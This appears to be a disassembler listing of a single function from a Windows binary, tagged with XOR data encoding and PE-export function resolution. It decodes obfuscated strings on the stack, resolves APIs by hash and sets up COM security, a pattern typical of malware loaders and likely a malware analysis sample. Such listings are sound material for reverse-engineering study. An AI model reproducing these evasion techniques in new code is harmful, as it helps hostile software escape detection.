Function at 0x40b060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x44bd90]
mov dword [esp + 0x10], 0xfd05fb0d
mov dword [esp + 0x14], 0xf108ff00
mov dword [esp + 0x18], 0xf500f306
mov dword [esp + 0x1c], 0x89b6f706
mov dword [esp + 0x20], 0x8d708b6e
mov dword [esp + 0x24], 0x81808f72
mov word [esp + 0x28], 0
mov byte [esp + 0x2a], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1a
ja 0x40b0f6
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x10]
add ecx, 0x40efc0b2
xor ecx, edx
mov dword [esp + 0x110], ecx
mov ecx, dword [esp + 0x110]
add cl, 0xb8
mov edx, dword [esp]
mov byte [esp + edx + 0x10], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1b
jb 0x40b0c0
lea esi, [esp + 0x10]
push 0x800
push 0
push esi
call eax
mov ecx, 0x44bd58
push eax
call fcn.0043edc0
xor ebx, ebx
test al, al
je 0x40b7ea
push 0xe2bceb04
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd60], eax
push 0x248106fa
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd64], eax
push 0x89b8457d
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd68], eax
push 0x44f824fb
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd6c], eax
push 0xf072343c
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd70], eax
push 0x638f2392
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd74], eax
push 0xd711af57
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd78], eax
push 0x1ad145e2
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd7c], eax
push 0xedb83653
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd80], eax
push 0xe9e47300
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd84], eax
push 0x6b702a5b
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd88], eax
push 0xc135ffae
push dword [0x44bd58]
call fcn.00440fc0
add esp, 8
mov dword [0x44bd8c], eax
lea edi, [esp + 0x10f]
lea eax, [esp + 0x110]
push eax
push dword [ebx + 0x4443e4]
call fcn.0043a300
add esp, 8
mov ebp, edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + 1], 0
lea ebp, [ebp + 1]
jne 0x40b260
mov dword [esp], 0
mov eax, esi
lea ecx, [esp + 0x110]
cmp ecx, ebp
jae 0x40b2e1
xor esi, esi
lea edi, [esp + 0x110]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40b2d0
mov eax, esp
push eax
push ebp
push edi
call fcn.0040d600
add esp, 0xc
movzx ecx, word [esp]
mov word [esp + esi + 0x10], cx
lea ecx, [esi + 2]
cmp esi, 0xfb
ja 0x40b2be
add edi, eax
mov esi, ecx
cmp edi, ebp
jb 0x40b290
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40b2d6
lea eax, [esp + esi]
add eax, 0x10
lea esi, [esp + 0x10]
lea edi, [esp + 0x10f]
mov word [eax], 0
push esi
call fcn.0040b800
add esp, 4
test al, al
jne 0x40b538
add ebx, 4
cmp ebx, 0x24
jne 0x40b240
mov dword [esp + 4], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x54a94aa3
mov dword [esp + 0x14], 0x50a156ab
mov dword [esp + 0x18], 0x5c6752ae
mov dword [esp + 0x1c], 0x58685e6e
mov dword [esp + 0x20], 0x64995aa6
mov dword [esp + 0x24], 0x60826688
mov dword [esp + 0x28], 0x6c806294
mov dword [esp + 0x2c], 0x689e6e9e
mov dword [esp + 0x30], 0x748a6a9c
mov dword [esp + 0x34], 0x709a7681
mov dword [esp + 0x38], 0x7c86728f
mov dword [esp + 0x3c], 0x78947e49
mov dword [esp + 0x40], 0x4f27a8a
mov dword [esp + 0x44], 0xf10636
mov dword [esp + 0x48], 0xcfc02f1
mov dword [esp + 0x4c], 0x8e20ee1
mov dword [esp + 0x50], 0x14fa0aff
mov dword [esp + 0x54], 0x102016ea
mov dword [esp + 0x58], 0x1c23122a
mov dword [esp + 0x5c], 0x18271e20
mov dword [esp + 0x60], 0x24161a28
mov dword [esp + 0x64], 0x201a261c
mov dword [esp + 0x68], 0x2c1f221a
mov dword [esp + 0x6c], 0x28142e13
mov dword [esp + 0x70], 0x34062a16
mov dword [esp + 0x74], 0x3001360c
mov dword [esp + 0x78], 0x3c3d3203
mov byte [esp + 0x7c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x6c
ja 0x40b434
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
add eax, 0x2d8afe8e
xor eax, ecx
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x110]
add al, 0x3b
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x6d
jb 0x40b400
lea eax, [esp + 0xc]
lea ecx, [esp + 4]
lea edi, [esp + 0x10]
push eax
push ecx
push edi
call fcn.0040be10
add esp, 0xc
test al, al
je 0x40b7e8
mov dword [esp + 0x10], 0xeffdffb7
mov dword [esp + 0x14], 0xfef2b0e1
mov dword [esp + 0x18], 0xabe6e7f2
mov dword [esp + 0x1c], 0xeefaf9b5
mov dword [esp + 0x20], 0x81f1fdee
mov dword [esp + 0x24], 0x919385ef
mov dword [esp + 0x28], 0xf9848a8c
mov dword [esp + 0x2c], 0x8f848989
mov word [esp + 0x30], 0xd2c9
mov byte [esp + 0x32], 0x2d
mov word [esp + 0x33], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x24
ja 0x40b4f4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
add eax, 0xa52b
xor eax, ecx
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x110]
add al, 0xa0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x25
jb 0x40b4c0
mov ecx, dword [esp + 4]
movzx ebx, byte [esp + 0x10]
test bl, bl
je 0x40b5be
mov edx, edi
mov esi, ecx
jmp 0x40b51b
movzx ebx, byte [edx]
test bl, bl
je 0x40b5c0
mov bh, byte [ecx]
test bh, bh
je 0x40b7dc
inc ecx
inc edx
lea eax, [esi + 1]
cmp bh, bl
je 0x40b532
mov esi, eax
mov ecx, eax
je 0x40b510
mov edx, edi
jmp 0x40b510
movzx eax, word [esp + 0x10]
test ax, ax
je 0x40b56f
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44bd92], ax
movzx eax, word [esp + ecx + 0x10]
add ecx, 2
test ax, ax
jne 0x40b550
mov word [ecx + 0x44bd92], 0
jmp 0x40b578
mov word [0x44bd94], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x40b7e8
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x40b7e8
push 0x44bd34
call fcn.00439700
add esp, 4
mov bl, 1
jmp 0x40b7ea
mov esi, ecx
test esi, esi
je 0x40b7dc
mov dword [esp + 0x10], 0x2226e1fd
mov dword [esp + 0x14], 0xb6f92ad6
mov word [esp + 0x18], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 9
ja 0x40b624
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
add eax, 0xc985e5a8
xor eax, ecx
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x110]
add al, 0xe7
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xa
jb 0x40b5f0
movzx edx, byte [esp + 0x10]
mov dword [esp + 8], esi
mov ecx, esi
test dl, dl
je 0x40b674
lea ebp, [esp + 0x10]
mov edi, ebp
mov ecx, dword [esp + 8]
mov ebx, ecx
jmp 0x40b657
movzx edx, byte [edi]
test dl, dl
je 0x40b674
mov dh, byte [ebx]
test dh, dh
je 0x40b7dc
inc ebx
inc edi
lea eax, [ecx + 1]
cmp dh, dl
je 0x40b66e
mov ecx, eax
mov ebx, eax
je 0x40b650
mov edi, ebp
jmp 0x40b650
test ecx, ecx
mov edi, dword [esp + 8]
je 0x40b7dc
mov byte [ecx], 0
mov esi, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi + esi + 0x23], 0
lea esi, [esi + 1]
jne 0x40b690
test esi, esi
je 0x40b707
xor edx, edx
jmp 0x40b6bc
mov byte [esp + edx + 0x110], bh
inc edx
cmp esi, edx
je 0x40b707
mov bh, byte [edi + edx + 0x22]
mov bl, bh
add bl, 0x9f
cmp bl, 0x19
ja 0x40b6b0
mov eax, ebx
add al, bl
and al, 0x28
xor bl, 0xf4
add bl, al
add bl, 0x1b
movsx eax, bl
imul eax, eax, 0x4f
movzx ecx, ax
shr eax, 0xb
shr ecx, 0xf
add cl, al
movzx ebp, cl
lea edi, [ebp*4]
add edi, ebp
lea eax, [edi + edi*4]
add eax, ebp
mov edi, dword [esp + 8]
sub bl, al
add bl, 0x61
mov bh, bl
jmp 0x40b6b0
mov byte [esp + esi + 0x110], 0
lea ebx, [esp + 0x10f]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x40b720
mov dword [esp], 0
lea edi, [esp + 0x10]
lea ebp, [esp + 0x110]
mov eax, edi
cmp ebp, ebx
jae 0x40b77d
xor esi, esi
cmp byte [ebp], 0
je 0x40b777
mov eax, esp
push eax
push ebx
push ebp
call fcn.0040d600
add esp, 0xc
movzx ecx, word [esp]
mov word [esp + esi + 0x10], cx
lea ecx, [esi + 2]
cmp esi, 0x7b
ja 0x40b76f
add ebp, eax
mov esi, ecx
cmp ebp, ebx
jb 0x40b743
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40b77d
lea eax, [esp + esi]
add eax, 0x10
mov word [eax], 0
push edi
call fcn.0040b800
add esp, 4
test al, al
je 0x40b7dc
mov ebx, eax
movzx ecx, word [esp + 0x10]
mov eax, 0x44bd94
test cx, cx
je 0x40b7c1
lea edx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40b7b0
mov word [eax], 0
push dword [esp + 4]
call fcn.0043db40
add esp, 4
test bl, bl
jne 0x40b578
jmp 0x40b7e8
push dword [esp + 4]
call fcn.0043db40
add esp, 4
xor ebx, ebx
mov eax, ebx
add esp, 0x190
pop esi
pop edi
pop ebx
pop ebp
ret